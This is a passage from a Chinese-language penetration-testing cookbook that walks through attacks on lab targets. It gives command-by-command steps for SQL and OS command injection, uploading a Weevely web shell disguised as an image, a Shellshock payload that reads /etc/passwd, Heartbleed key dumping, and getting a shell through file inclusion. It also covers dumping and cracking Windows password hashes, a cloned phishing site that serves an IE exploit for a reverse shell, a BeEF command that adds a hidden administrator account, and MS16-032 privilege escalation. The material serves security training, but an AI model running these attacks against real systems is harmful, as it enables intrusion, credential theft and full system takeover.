      sqlmap --url="http://172.17.0.2/dvwa/vulnerabilities/sqli/?id=1&       Submit=Submit#" --cookie=" security=low;         PHPSESSID=eu7s6d4urudkbq8gdlgvj4jba2"

  1. 运行上述命令后,sqlmap 立即确定后端数据库是 MySQL,并要求您确认是否可能跳过任何其他检查。按Y并继续,如下面的屏幕截图所示:如何操作...

  2. Sqlmap 继续验证易受攻击的参数,并要求用户输入以继续检查其他参数,如下面的屏幕截图所示:如何操作...

  3. 按下N,它会显示易受攻击的参数摘要以及使用的注入类型和查询,如下面的屏幕截图所示:如何操作...

  4. 在发现 ID 参数容易受到 SQL 注入的情况下,我们修改了原始命令以添加额外的开关,如下面的屏幕截图所示:

      sqlmap --url="http://172.17.0.2/dvwa/vulnerabilities/sqli/?id=1&      Submit=Submit#" --cookie=" security=low;       PHPSESSID=k5c4em2sqm6j4btlm0gbs25v26" --current-db --current-user       --hostname

  1. 运行上述命令后,您可以看到以下输出:如何操作...

  2. 同样,您可以使用 sqlmap 中的其他开关继续完全接管 Web 服务器。

它是如何工作的...

在本教程中,我们使用 sqlmap 来利用经过身份验证的页面上的 ID 参数,并提取有关数据库、用户、当前用户、当前数据库和主机名等信息。在上述步骤中,我们使用了以下新开关:

  • --cookie:此开关使用 HTTP cookie 头来访问经过身份验证的资源

  • --dbs:此开关枚举 DBMS 数据库

  • --users:此开关枚举 DBMS 用户

  • --current-user:此开关检索 DBMS 当前用户

  • --current-db:此开关检索 DBMS 当前数据库

  • --hostname:此开关检索 DBMS 服务器主机名

使用 commix 进行自动 OS 命令注入

在本章的第一个教程中,我们使用 Burp Scanner 来发现 Web 应用程序中的各种漏洞。正如您所看到的,我们已经通过 Burp 扫描器检测到了 OS 命令注入漏洞。

现在在这个教程中,我们将学习如何使用 commix 工具,它是[comm]and [i]njection e[x]ploiter 的缩写,正如其名字所示,它是一个用于命令注入和利用的自动化工具。我们将使用 commix 来利用 Burp 扫描器识别的入口点。

准备工作

要完成本教程,您需要以下内容:

  • 在 Oracle Virtualbox/VMware 上运行的 Kali Linux

  • Burp Scanner 的输出,如本章的第一个教程中所示

  • 运行在 Docker 上的易受攻击的 Web 应用程序

  • 互联网连接

如何操作...

对于这个教程,您需要执行以下步骤:

  1. 打开 Burp 扫描器目标窗口,如前一篇文章所示:如何操作...

  2. 单击 Burp Scanner 识别的命令注入漏洞,转到请求选项卡,并观察修改后的请求以及 Burp 接收到的响应。我们将使用 Burp 识别出的命令注入的相同入口参数,并在 commix 中使用它,如下面的屏幕截图所示:如何操作...

  3. 现在打开终端并输入commix;它将在窗口中显示默认的帮助,如下面的屏幕截图所示:如何操作...

  4. 我们将使用以下命令启动 commix:

      commix --url "http://172.17.0.2/dvwa/vulnerabilities/exec/"       --cookie='security=low; PHPSESSID=b69r7n5b2m7mj0vhps39s4db64'       --data='ip=INJECT_HERE&Submit=Submit' -all

  1. commix 将检测 URL 是否可达,并获取所有可能的信息,然后询问你是否要打开伪终端 Shell,如下截图所示:如何做...

  2. 如果输入Y,你会看到 Shell 提示,如下所示:如何做...

如果你仔细观察伪随机 Shell 之前的输出,你会注意到 commix 和收集主机名、当前用户、当前用户权限和操作系统和密码文件,如下所示:

如何做...

  1. 你可以在伪终端 Shell 中输入各种命令,并在屏幕上得到输出;例如,输入pwd来查看当前工作目录,输入id来查看当前用户权限,如下截图所示:如何做...

它是如何工作的...

在这个教程中,我们看到了如何使用 commix 进行命令注入和利用。由于我们已经确定了一个可能存在命令注入的参数,我们使用INJECT_HERE来帮助 commix 识别可执行查询并显示输出的易受攻击的参数。此外,我们在工具中使用了以下开关,其目的和描述如下:

  • --url:这个开关用于提供目标 URL

  • --cookie:这个开关用于向 commix 提供 cookies,如果目标 URL 在认证后面;commix 可以使用 cookies 来达到目标 URL

  • --data:这个开关用于提供需要发送到目标 URL 的任何POST body 参数,以便能够发出有效的请求

  • --all:这个开关用于枚举尽可能多的来自目标 OS X 命令注入的信息,使用这些信息我们可以进一步决定如何使用netcat在服务器上获得稳定的 Shell

使用 Weevely 进行文件上传漏洞

在这个教程中,我们将使用 Weevely 来利用文件上传漏洞。Weevely 是一个隐秘的 PHP Web Shell,模拟 telnet 样式的连接。当你需要创建一个 Web Shell 来利用文件上传漏洞时,它非常方便。它工作得非常好,以至于你不需要寻找任何工具或 Shell。让我们开始吧。

准备工作

要完成本教程,你需要在 Oracle Virtualbox 中运行 Kali Linux 并连接到互联网。不需要其他先决条件。

如何做...

对于这个教程,你需要执行以下步骤:

  1. 打开目标应用程序的文件上传页面,如下截图所示:如何做...

  2. 打开终端并输入Weevely;它将显示用法的示例语法,如下截图所示:如何做...

  3. 现在我们需要生成一个 PHP Shell,可以使用以下命令:

      Weevely generate <password-to-connect> /root/weevely.php      Weevely generate uytutu765iuhkj /root/weevely.php

  1. 输入ls,你会看到一个新文件被创建,名为weevely.php,因为我们的应用程序只允许上传图片,所以我们需要将这个文件重命名为.jpg扩展名,如下命令所示:
mv weevely.php agent.php

  1. 用目标应用程序的文件上传模块打开目标浏览器,点击浏览,并从/root目录中选择此文件并上传,如下截图所示:如何做...

  2. 成功的消息显示了文件上传的路径。复制路径,打开终端并输入weevely <Complete-path-to-uploaded-file> <password>,如下命令所示:

      Weevely http://172.17.0.2/dvwa/hackable/uploads/weevely.php.jpg       yoursecretpassword

  1. Weevely 将尝试连接到上传的文件,并向你呈现它获取的有限(或受限制的)Shell,你可以在其中运行系统命令,也许可以用它来提升你的权限,如下截图所示:如何做...

  2. Weevely 提供的另一个很好的功能是,您可以直接从单个命令中使用系统命令。为了理解这一点,请输入weevely help,如下面的屏幕截图所示:操作步骤...

      Weevely http://dvwa.hackhunt.com/dvwa/hackable/uploads      /weevely.php.jpg yoursecretpass  :audit.etcpasswd

  1. 运行此命令时,Weevely 将连接到后门并获取/etc./passwd文件,如下面的屏幕截图所示:操作步骤...

  2. 同样,您可以检查 Weevely 提供的其余选项,并从目标服务器中提取信息。您还可以使用 Weevely 进行脚本化自动化。

工作原理...

在这个示例中,我们学习了如何使用 Weevely 来利用文件上传漏洞,以及如何使用它来获取稳定的 shell 以提升 root 权限,或者直接使用 Weevely 在目标服务器上运行系统命令。

利用 Burp 进行 Shellshock 攻击

在这个示例中,我们将使用 Burp 来利用 Shellshock(CVE-2014-6271)漏洞。如果您还没有听说过 Shellshock 漏洞,也就是 Bash 漏洞,那么它是 GNU bash 远程代码执行漏洞,可以允许攻击者获取对目标机器的访问权限。由于 Bash 被广泛使用,这个漏洞具有巨大的攻击面,并且由于这个漏洞的高严重性和易于利用性,它是 2014 年识别出的最严重的安全问题之一;因此,我们决定演示如何使用 Burp 来利用它。

准备工作

要完成本示例,您需要以下内容:

  • 在 Oracle Virtualbox/VMware 中运行的 Kali Linux

  • 在 Kali 中安装并运行 Docker

  • 互联网连接

操作步骤...

对于这个示例,您需要执行以下步骤:

  1. 我们将从搜索并下载一个来自 Docker hub 的对 Shellshock 存在漏洞的容器开始,使用以下命令:
docker search shellshock

您将看到以下输出:

操作步骤...

  1. 我们将使用第一个 Docker 映像进行演示,并使用以下命令来拉取 Docker 映像:
      docker pull hmlio/vaas-cve-2014-6271

  1. 现在,我们将使用以下命令将 Docker 映像作为容器运行:
docker run hmlio/vaas-cve-2014-6271

  1. 由于它是在 Kali 中运行的第二个容器,它具有172.17.0.3的 IP 地址;您可以使用docker inspect <container-name>来查找容器的 IP 地址。现在我们将打开浏览器并访问72.17.0.3,您将看到以下网页:操作步骤...

  2. 由于我们已经配置了浏览器使用 Burp 代理,因此导航到Proxy | HTTP history选项卡,如下所示:操作步骤...

  3. 现在右键单击它,然后单击Send it to Repeater,如下面的屏幕截图所示:操作步骤...

  4. 转到 repeater 窗口,并将用户代理更改为以下内容:

      User-Agent: () { :; }; echo; echo; /bin/bash -c 'cat       /etc/passwd;'

看一下下面的屏幕截图:

操作步骤...

  1. 现在点击Go,您将在Response窗口中看到passwd文件的内容,如下面的屏幕截图所示:操作步骤...

这就是利用 Burp 轻松利用 shellshock 的方法。

工作原理...

在这个示例中,我们搜索并从 Docker hub 下载了一个容器映像,该映像对 Shellshock 存在漏洞。然后我们启动了容器,并将浏览器指向了容器的 IP 地址。我们使用 Burp 代理选择了/cgi-bin/请求,并将其发送到 repeater。在 repeater 窗口中,我们将user agent更改为 Shellshock 利用字符串,以读取/etc/passwd文件,并且我们得到了响应中的passwd文件内容。

使用 Metasploit 来利用 Heartbleed

在这个配方中,我们将使用 Kali Linux 中的 Metasploit 来利用 Heartbleed 漏洞。利用 Heartbleed 漏洞并不一定要使用 Metasploit。可以使用简单的 Python 脚本或简单的 Burp 插件(在免费版本中)来确定服务器/服务是否容易受到 Heartbleed 漏洞的影响。但是,我们想介绍 Metasploit exploit 和一个辅助模块,有时可能会非常有帮助。

准备工作

要完成这个配方,您需要以下内容:

  • Kali Linux 运行在 Oracle Virtualbox/VMware 上

  • 在 Kali Linux 上运行的 Docker

  • 易受攻击的 Web 应用程序 Docker 容器

  • 互联网连接

如何做...

对于这个配方,您需要执行以下步骤:

  1. 我们将通过以下命令搜索并下载一个来自 Docker hub 的易受 Shellshock 漏洞影响的容器来开始这个配方:
      docker search heartbleed

您将看到以下输出:

操作步骤...

  1. 我们将使用第一个 Docker 镜像进行演示,并使用以下命令来拉取 Docker 镜像:
      docker pull andrewmichaelsmith/docker-heartbleed

  1. 现在,我们将使用以下命令将 Docker 镜像作为容器运行:
      docker run andrewmichaelsmith/docker-heartbleed

  1. 由于它是我们 Kali 中运行的第三个容器,它具有172.17.0.4的 IP 地址。您可以使用docker inspect <container-name>来查找您的容器的 IP 地址。我们现在将打开浏览器并访问72.17.0.4。您将看到以下网页:操作步骤...

  2. 使用 VMware/Virtualbox 设置您的 bee-box 镜像,并在 Kali Linux 中打开msfconsole,如下所示:操作步骤...

  3. 输入search heartbleed来查找 Metasploit 中可用的与 Heartbleed 相关的辅助和利用,如下所示:操作步骤...

  4. 正如我们所看到的,有一个可用于 Heartbleed 的辅助模块。我们将继续并使用以下命令进行利用:

      msf > use auxiliary/scanner/ssl/openssl_heartbleed      msf auxiliary(openssl_heartbleed) >

  1. 输入show options来查看可用选项,如下所示:操作步骤...

  2. 您需要根据目标信息更改rhostrhost;在我们的情况下,如下所示:

      msf > set rhosts 172.17.0.4
      msf > set rport 443
      msf > set action SCAN

  1. 设置适当的设置后,我们将在msf控制台上输入run来运行模块,输出如下:操作步骤...

  2. 该模块已检测到此服务器容易受到 Heartbleed 漏洞的影响。我们现在将继续并将操作从SCAN更改为DUMP,使用以下命令,如下所示:操作步骤...

  3. 更改操作后,我们将再次运行模块,输出如下:操作步骤...

  4. 从服务器检索的数据已经被转储到了 Metasploit 给出的目录路径上的文件中。我们将继续并将操作从DUMP更改为KEYS,并最后一次运行模块,看看我们是否可以从服务器检索任何私钥,如下所示:操作步骤...

  5. 更改操作后,再次运行模块,看看 Metasploit 是否可以从服务器检索私钥,如下所示:操作步骤...

正如您所看到的,Metasploit 已成功从易受攻击的服务器中提取了私钥。

它是如何工作的...

在这个配方中,我们使用 Metasploit 来利用 SSL Heartbleed 漏洞进行利用,可以转储内存数据并提取服务器的私钥。

使用 FIMAP 工具进行文件包含攻击(RFI/LFI)

在第一个配方中,Burp Scanner 还确定了文件路径遍历漏洞。在这个配方中,我们将学习如何使用 Fimap 来利用文件路径遍历漏洞。

Fimap 是一个 Python 工具,可以帮助自动查找、准备、审计和最终利用 Web 应用程序中的本地和远程文件包含漏洞。

准备工作

要完成这个配方,您需要以下内容:

  • Kali Linux 运行在 Oracle Virtualbox/VMware 上

  • 在 Kali Linux 上运行的 Docker

  • 易受攻击的 Web 应用 Docker 容器

  • 互联网连接

操作步骤...

对于这个示例,您需要执行以下步骤:

  1. 打开浏览器,转到http:/dvwa.hackhunt.com/dvwa,并使用默认凭据登录。从左侧菜单中点击文件包含,如下面的屏幕截图所示:操作步骤...

  2. 打开终端并输入fimap,将显示版本和作者信息,如下面的屏幕截图所示:操作步骤...

  3. 要使用 Fimap 来利用 LFI/RFI 漏洞,我们需要使用以下命令:

      fimap -u 'http://172.17.0.2/dvwa/vulnerabilities       /fi/?page=include.php' --cookie="security=low;         PHPSESSID=b2qfpad4jelu36n6d2o5p6snl7" --enable-blind

  1. Fimap 将开始查找服务器上可以读取的本地文件,并在目标易受文件包含攻击时显示它,如下面的屏幕截图所示:操作步骤...

  2. 最后,Fimap 将显示它能够从服务器上读取的所有文件,如下面的屏幕截图所示:操作步骤...

  3. 现在,我们将使用之前使用的带有-x结尾的命令,以便继续利用此文件包含并获取服务器的 shell,如下所示:

      fimap -u http://dvwa.hackhunt.com/dvwa/vulnerabilities      /fi/?page=include.php        --cookie="PHPSESSID=376221ac6063449b0580c289399d89bc;      security=low" -x

  1. Fimap 将启动交互式菜单并要求输入;选择1,因为我们的域是dvwa.hackhunt.com,如下所示:操作步骤...

  2. 在下一步中,它将要求您选择要开始的易受攻击的漏洞;对于我们的示例,我们将选择1,如下面的屏幕截图所示:操作步骤...

  3. 在下一步中,它会给您两个选项。1是生成直接 shell,第二个是使用 pentest monkey 脚本创建反向 shell。对于我们的演示,我们将使用1,如下面的屏幕截图所示:操作步骤...

  4. 如您所见,我们已成功接收到 shell,如下面的屏幕截图所示:操作步骤...

  5. 我们可以使用此通道获取稳定的 shell,并最终提升到服务器上的 root 权限。

工作原理...

在这个示例中,我们使用 Fimap 来利用本地和远程文件包含,并在服务器上获取 shell 访问权限。在这个示例中,我们使用了以下开关:

  • -u:这表示目标 URL。

  • --cookie:由于我们的注入点在身份验证之后,我们必须使用此选项来设置 cookie,以便 Fimap 可以访问注入点。

  • --enable-blind:当 Fimap 无法检测到某些内容或没有出现错误消息时,此开关非常有用。请注意,此模式将导致大量请求。

  • -x:用于利用远程文件包含漏洞并自动生成 shell。

第八章:系统和密码利用

在本章中,我们将涵盖以下内容:

  • 使用本地密码攻击工具

  • 破解密码哈希

  • 使用社会工程师工具包

  • 使用 BeEF 进行浏览器利用

  • 使用彩虹表破解 NTLM 哈希

介绍

在本章中,我们将专注于获取哈希值,然后破解它们以获取访问权限。这些信息可以得到很好的利用,因为很有可能在同一网络中有其他使用相同密码的系统。让我们继续看看如何实现这一点。

使用本地密码攻击工具

在本教程中,我们将看到一些用于 Windows 和 Linux 的工具,用于执行猜测密码攻击。对于 Linux,我们将使用一个名为sucrack的工具,对于 Windows,我们将使用fgdumppwdump。Sucrack 用于通过su命令破解密码,这是一个多线程工具。SU 是 Linux 中的一个工具,允许您使用替代用户运行命令。但首先让我们了解这些工具:Sucrack 是一个密码破丨解丨器。Fgdump 和 pwdump 是从 LSASS 内存中转储 SAM 哈希的工具。JTRJohn the Ripper)是用于 SAM 哈希的破丨解丨器。Windows 凭证编辑器WCE)是一个安全工具,用于列出登录会话并添加、更改、列出和删除相关的凭证(例如 LM/NT 哈希、明文密码和 Kerberos 票据)。让我们从实际操作开始。

准备工作

为了演示这一点,我们需要一台 Windows XP 机器和我们的 Kali Linux 发行版。读者可能还需要将PwDump.exeFgDump.exe从 Kali Linux 移植到 Windows XP。

如何做...

  1. 出于演示目的,我们已将密码更改为987654321。输入以下命令开始 sucrack 攻击:
      sucrack -a -w 10 -s 3 -u root /usr/share/wordlists/rockyou.txt

输出将如下屏幕截图所示:

如何做...

一旦攻击完成并且密码与字典中的一个匹配,我们将得到以下结果:

如何做...

  1. 同样,我们可以为任何想要的用户执行相同的操作,只需在-u参数中输入他/她的用户名。

  2. 让我们看看如何在 Windows 机器上完成相同的操作。wce.exePwDump.exeFgDump.exe的二进制文件可以在 Kali Linux 的/usr/share/windows-binaries/路径中找到。将其导入到 Windows 机器以继续。

现在我们有了工具,确保终端指向放置文件的同一文件夹。

  1. 在终端中输入以下命令:
      PWDump.exe -o test 127.0.0.1

输出将如下屏幕截图所示:

如何做...

  1. 现在用记事本打开在执行PWDump.exe命令的同一文件夹中创建的测试文件:如何做...

这表明PwDump.exe提取了所有密码并以 NTLM 哈希状态显示;可以在 NTLM 解密网站上使用相同的方法,这些网站存储了大量带有明文密码的哈希值。这些网站存储了一个巨大的已破解哈希值数据库,可以进行比较以获取原始字符串。需要记住的一点是 NTLM 哈希是单向哈希,无法解密;获取实际密码的唯一方法是拥有单词及其对应的哈希值。一个著名的网站是hashkiller.co.uk。它大约有 312.0720 亿个唯一解密的 NTLM 哈希。

  1. 现在让我们来看看 fgdump 及其工作原理。在我们继续之前,我们需要知道 fgdump 是 pwdump 的更新版本;它具有显示密码历史记录的附加功能(如果可用)。在命令提示符中输入以下命令:
      fgdump.exe

输出将如下屏幕截图所示:

如何做...

这将创建三个文件:两个 pwdump 文件和一个 cache-dump 文件:

如何做...

  1. 打开 pwdump 文件后,我们得到了与我们在之前运行的工具中得到的相同的 NTLM 哈希;可以将相同的内容输入到 NTLM 破解网站中以获得明文密码。

它是如何工作的...

我们使用了一些参数。让我们了解一下它是如何工作的:

sucrack -a -w 10 -s 3 -u root /usr/share/wordlists/rockyou.txt

  • -a:这使用 ANSI 转义代码来显示漂亮的统计信息

  • -w:显示要运行的工作线程数

  • -s:以秒为单位显示统计信息的间隔

  • -u:显示要su到的用户帐户

Pwdump.exe -o test 127.0.0.1

让我们了解一下Pwdump.exe使用的参数:

  • -o:这用于写入文件

  • 127.0.0.1:输入受损机器的 IP 地址

还有更多...

sucrack、pwdump 和 fgdump 中还有更多可以探索的选项。只需在各自的窗口和终端中发出命令sucrackPwdump -hfgdump -h即可获取所有可用选项。

破解密码哈希

在这个教程中,我们将看到如何破解明文密码的哈希。我们将使用 John the Ripper。John the Ripper(JTR)是一个快速的密码破丨解丨器,目前可用于多种 Unix、Windows、DOS 和 OpenVMS 版本。它的主要目的是检测弱 Unix 密码。除了在各种 Unix 系统上常见的几种 crypt(3)密码哈希类型之外,支持的还有 Windows LM 哈希,以及社区增强版本中的许多其他哈希和密码。

准备工作

我们需要将在 Windows 机器上获得的哈希传输到我们的 Kali 机器上,之后我们可以开始比较哈希。

如何做...

  1. 让我们从破解密码时最有效的工具之一 JTR 开始。在给定的示例中,我们已经获取了哈希转储。该文件已重命名为crackme以便阅读。

  2. 在终端中输入以下命令:

john crackme

输出将如下截图所示:

如何做...

正如我们所看到的,密码是以明文检索的;例如,dhruv: 1dhruv: 2形成了整个密码Administrator;其他密码也是类似的。密码之所以被分割成这样,是因为 NTLM 哈希机制。整个哈希实际上被分成了 8:8 的段,如果密码大于八个字符,另一部分也会用于哈希密码。

John the Ripper 支持破解不同类型的哈希,其中 NTLM 是其中之一。

它是如何工作的...

在前面的教程中,我们使用了以下命令:

  • |john crackme:其中crackme是包含哈希的密码文件

John the Ripper 是一个智能工具;它可以检测使用的加密类型,并自动执行破解阶段。

还有更多...

可以使用man johnjohn --help命令找到更多关于 John the Ripper 的信息:

还有更多...

使用社会工程工具包

社会工程工具包SET),顾名思义,专注于利用人类好奇心的特性。SET 是由 David Kennedy(ReL1K)编写的,并在社区的大力帮助下,已经整合了攻击。在这个教程中,我们将看看如何创建一个恶意可执行文件,以及攻击者如何等待受害者执行该文件。我们还将看看攻击者如何通过诱使受害者访问恶意网站来获得反向 shell。

准备工作

在这个教程中,我们将使用带有 Internet Explorer 6 的 Windows 操作系统和 Kali Linux 机器;Setoolkit默认作为 Kali 的一部分安装。

如何做...

  1. 使用以下命令启动社会工程工具包:
Setoolkit

输出将如下截图所示:

如何做...

在这个活动中,我们将看看如何使用“社会工程攻击”来托管一个假网站,并利用用户的 IE(如果易受攻击),并获得对他账户的反向 shell。我们将选择“社会工程攻击”,即选项 1:

操作步骤...

  1. 现在我们将选择网站攻击向量,即 2,然后看起来如下:操作步骤...

  2. 现在我们将选择“Metasploit 浏览器利用方法”选项 2:操作步骤...

  3. 之后,我们将克隆该网站并填写必要的信息:

      set:webattack>2
      [-] NAT/Port Forwarding can be used in the cases where your SET       machine is
      [-] not externally exposed and may be a different IP address       than your reverse listener.
      set> Are you using NAT/Port Forwarding [yes|no]: yes
      set:webattack> IP address to SET web server (this could be your        external IP or hostname):192.168.157.157
      set:webattack> Is your payload handler (metasploit) on a       different IP from your external NAT/Port FWD address [yes|no]:no
      [-] SET supports both HTTP and HTTPS
      [-] Example: http://www.thisisafakesite.com
      set:webattack> Enter the url to clone:http://security-geek.in

同样的截图如下所示:

操作步骤...

  1. 我们将选择“Internet Explorer 6 的 Aurora 内存损坏漏洞(2010-01-14)”,选项 37,并选择 Metasploit Windows Shell Reverse_TCP,选项 1,并指定任何所需的端口,最好是大于 1,000,因为低于 1,000 的端口是为操作系统注册的。输出将如下截图所示:操作步骤...

一旦恶意网站的设置完成,它将如下所示:

操作步骤...

  1. 现在我们在攻击者端的配置已经完成,我们所要做的就是在恶意网站上呼叫受害者。在这个练习中,我们的受害者是一个带有 IE 6 版本的 Windows 机器:操作步骤...

恶意脚本被执行,如果满足所有条件,如 Internet Explorer 浏览器、易受攻击的浏览器版本和无杀毒软件检测,我们将获得反向 shell 作为我们的有效载荷,如前所述:

操作步骤...

检查以确保它是相同的系统,让我们运行 ipconfig:

操作步骤...

它是如何工作的...

正如您所看到的,整个练习是不言自明的;我们创建或托管一个假网站,以窃取信息或远程访问系统。在企业环境中,这应该被极度小心对待。没有执行特殊命令;只是按照流程进行。

还有更多...

让我们假设攻击者想要攻击一个服务器,然而,只有三到四个人在防火墙上有权访问该服务器。攻击者会进行社会工程,迫使这四个用户中的一个访问该网站,并可能幸运地获得一个 shell。一旦完成,攻击者将能够通过受损的机器在目标服务器上发起攻击。

社会工程工具包不仅限制您进行基于浏览器的利用,甚至还包含诸如网络钓鱼、大规模邮件发送、基于 Arduino 的攻击、无线攻击等模块。由于本章节限制在利用方面,我们已经准备好了解如何通过 SET 进行利用的方法。

使用 BeEF 进行浏览器利用

BeEF代表浏览器利用框架。它是一个主要专注于浏览器和相关利用的渗透测试工具。如今,对客户端浏览器的威胁日益增多,包括移动客户端、Web 客户端等。BeEF 允许我们使用客户端攻击向量对目标进行渗透测试,例如创建用户、执行恶意脚本等。BeEF 主要专注于基于 Web 客户端的利用,例如浏览器级别。

准备工作

BeEF XSS 已经是 Kali Linux 的一部分。在这个练习中,我们使用的是一个带有 Firefox 浏览器的 Windows 机器。我们将通过 Firefox 浏览器钩住客户端。在访问钩子时,JavaScript 被执行并部署钩子。如果在运行 BeEF-XSS 框架时遇到任何问题,请参考github.com/beefproject/beef/wiki/Installation上的指南。

如何操作...

  1. 通过在终端中输入以下内容来启动 BeEF 框架:
      cd /usr/share/beef
      ./beef

输出将如下截图所示:

如何做...

  1. 现在在 Kali 中打开 Firefox 浏览器并访问 UI 面板,如输出中所述。输入用户名密码为beef:beef如何做...

  2. 要钩住浏览器,我们将不得不让它加载 BeEF 的钩 URL;我们将对我们的 Windows 机器做同样的操作。我们让浏览器访问我们的 BeEF 框架的钩 URL:如何做...

  3. 正如我们所看到的,框架已经检测到了一个钩,并将其附加到了钩上,现在我们可以浏览 BeEF 提供的不同能力,以利用浏览器攻击用户。注意:也可以通过强制加载来自可用的利用模块的隐藏弹出窗口来创建持久的钩,以便当用户从注入钩的页面浏览时,攻击者仍然拥有会话:如何做...

我们现在已经成功地将客户端钩到了 BeEF 框架上。通常,这个钩是一个 XSS 向量,并被粘贴为一个 iframe 覆盖任何用户访问的应用程序,然后攻击者继续攻击用户。

  1. 让我们在客户端上弹出一个框来查看它的工作原理。读者应该点击被钩住的浏览器的 IP 并转到命令选项卡。在被钩住的域下,有一个Create Alert Dialogue的选项。点击它,设置好参数,然后点击Execute。检查被钩住的浏览器是否收到了警报提示:如何做...

脚本执行后,受害者浏览器将出现一个警报对话框,如下截图所示:

如何做...

  1. 是的,它正在运行。现在在命令部分有各种模块可用。它们由彩色的球分开,绿色,橙色,红色和灰色。绿色表示命令模块针对目标起作用,并且对用户应该是不可见的;橙色表示命令模块针对目标起作用,但可能对用户可见;灰色表示命令模块尚未针对该目标进行验证;红色表示命令模块不适用于该目标。

  2. 考虑到被钩住的浏览器是由管理员操作的,我们将使用钩来创建具有远程桌面功能的用户。在我们的环境中,我们有 Internet Explorer 在启用 ActiveX 的 Windows XP 上运行。要执行此操作,请选择机器的钩,然后转到Commands | Module Tree | Exploits | Local Host | ActiveX Command Execution

ActiveX Command Execution中,设置命令如下:

      cmd.exe /c "net user beefed beef@123 /add &  net localgroup        Administrators beefed /add & net localgroup "Remote desktop       users" beefed /add & pause"

设置相同的选项如下截图所示:

如何做...

  1. 我们现在将尝试使用 Kali 中的rdesktop命令对远程系统进行远程桌面连接。输入用户名、密码和 IP 以连接到机器:
      rdesktop -u beefed -p "beef@123" 192.168.157.155

输出将如下截图所示:

如何做...

我们已成功通过客户端浏览器访问系统。

工作原理...

BeEF 使用 JavaScript hook.js,当被浏览器访问时,将控制权交给 BeEF 框架。有了可用的钩,可以使用命令模块中提供的各种功能。它们的能力各不相同,从枚举到系统利用,从窃取 cookie 到窃取会话,中间人攻击等等。攻击者最容易获得钩的方法是通过 XSS 攻击向量,导致它们加载一个 iframe 并附加一个钩。即使他们从感染的网站上浏览离开,钩也可以变得持久。这部分可以作为读者的家庭作业。前面的练习是不言自明的:没有额外需要解释的命令。

还有更多...

BeEF 是一个很棒的客户端渗透测试工具。在大多数情况下,我们演示了 XSS 的可能性。这是下一步,展示了如何通过简单的 XSS 和 JavaScript 对远程系统进行 root 并从浏览器中窃取。更多信息可以在 BeEF 框架维基上找到。

使用彩虹表破解 NTLM 哈希

对于这个活动,我们将使用Ophcrack,以及一个小的彩虹表。Ophcrack 是一个基于彩虹表的免费 Windows 密码破解工具。这是一种非常有效的彩虹表实现,由该方法的发明者完成。它带有图形用户界面GUI)并在多个平台上运行。它默认在 Kali Linux 发行版中可用。本示例将重点介绍如何使用 Ophcrack 和彩虹表破解密码。

准备工作

对于这个示例,我们将破解 Windows XP 密码。彩虹表db可以从ophcrack.sourceforge.net/tables.php下载。Ophcrack 工具在我们的 Kali Linux 发行版中可用。

如何操作...

  1. 首先,从 Ophcrack sourceforge 表中下载tables_xp_free_fast文件,并将其放入您的 Kali 机器中。使用以下命令解压缩它:
Unzip tables_xp_free_fast.zip

输出将如下截图所示:

如何操作...

  1. 我们已经从被入侵的 XP 机器中获得了要使用的哈希值。现在,要使用先前的彩虹表运行 Ophcrack,使用以下命令:
Ophcrack

现在将加载一个看起来像以下截图的 GUI。使用任何哈希转储方法加载检索到的密码哈希。在这种情况下,使用 pwdump:

如何操作...

  1. 一旦密码哈希加载完成,屏幕将如下所示:如何操作...

  2. 点击Tables,选择XP free fast表,点击Install,并浏览到我们从 ophcrack 下载彩虹表文件的路径:如何操作...

  3. 现在我们点击 GUI 中的破解选项,破解将开始:如何操作...

正如我们所看到的,几乎在中途,我们已经成功使用 Ophcrack 找到了一个常用密码,借助彩虹表的帮助。

它是如何工作的...

该工具非常易于理解,可以无故障地运行。它使用我们找到的哈希的 NT/LM 并将它们与提供的彩虹表进行匹配。当哈希匹配时,彩虹表会查找导致哈希的相应名称,我们最终以明文形式获得我们的值。

还有更多...

在这里,我们演示了使用最小可用大小的彩虹表。彩虹表的大小可以从 300 MB 到 3 TB 不等;此外,Ophcrack 表的高级账户可能会导致巨大的彩虹表大小。这可以在他们之前分享的 sourceforge 链接上查看。

第九章:权限提升和利用

在本章中,我们将涵盖以下配方:

  • 使用 WMIC 查找权限提升漏洞

  • 敏感信息收集

  • 未引用的服务路径利用

  • 服务权限问题

  • 配置错误的软件安装/不安全的文件权限

  • Linux 权限提升

介绍

在上一章中,我们看到了如何利用服务并以低权限或系统权限用户的身份访问服务器。在本章中,我们将看看如何将低权限用户提升为提升用户 - 甚至是系统用户。本章将涵盖 Windows 和 Linux 的提升技术。通常在网络中,当服务器被攻击时,攻击者总是试图提升权限以造成更多的破坏。一旦攻击者获得了更高权限的用户访问权限,他就能够运行系统级命令,窃取密码哈希和域密码,甚至设置后门并将攻击转移到网络中的其他系统。让我们继续了解这些权限是如何提升的。

使用 WMIC 查找权限提升漏洞

在这个配方中,我们将了解攻击者如何通过 WMIC 获得提升权限的洞察力。WMIC 扩展了 WMI,可以从几个命令行界面和批处理脚本中操作。WMI代表Windows 管理工具。除了其他几件事情外,WMIC 还可以用来查询系统上安装的补丁。为了更好地理解它,它提供了在 Windows 更新期间安装的所有安全补丁的详细信息列表,或者手动放置的补丁。它们通常看起来像(KBxxxxx)。

准备工作

为了演示这一点,我们将需要一个至少有两个核心的 Windows 7 机器。如果我们在虚拟机中测试它,我们可以将核心数设置为 2。此外,此配方需要缺少该补丁。

如何做到...

  1. 打开命令提示符并执行以下查询:
wmic qfe get Caption,Description,HotFixID,InstalledOn

输出将如下截图所示:

How to do it...

  1. 我们得到了安装在操作系统上的所有补丁的列表。有两种方法可以找到可能的提升权限漏洞:通过检查 KB 序列号检查最后安装的序列号,然后找到该补丁号之后披露的漏洞,或者通过安装日期。在这种情况下,我们通过安装日期搜索,发现了以下漏洞:How to do it...

  2. 正如我们所看到的,发现日期大约是2016-04-21,而我们的机器最后更新是在 2015 年 12 月。我们将利用这个漏洞并找到其补丁号。快速搜索 MS16-032 的补丁号给我们带来了路径号:How to do it...How to do it...

  3. 我们看到 KB 号是313991。让我们检查一下它是否安装在系统上。在命令提示符中执行以下查询:

      wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr       "KB3139914"

输出将如下截图所示:

How to do it...

  1. 太好了。没有为其应用补丁;现在我们将从www.exploit-db.com/exploits/39719/下载漏洞利用。下载完成后,将其重命名为Invoke-MS16-032.ps1

  2. 现在打开 PowerShell 并输入以下命令:

      . ./Invoke-MS16-032.ps1
      Invoke-MS16-032

输出将如下截图所示:

How to do it...

  1. 太棒了!我们得到了一个系统级 shell。从这里开始,系统完全由我们控制;后期利用阶段可以从这里开始。

它是如何工作的...

让我们了解一下它是如何工作的:

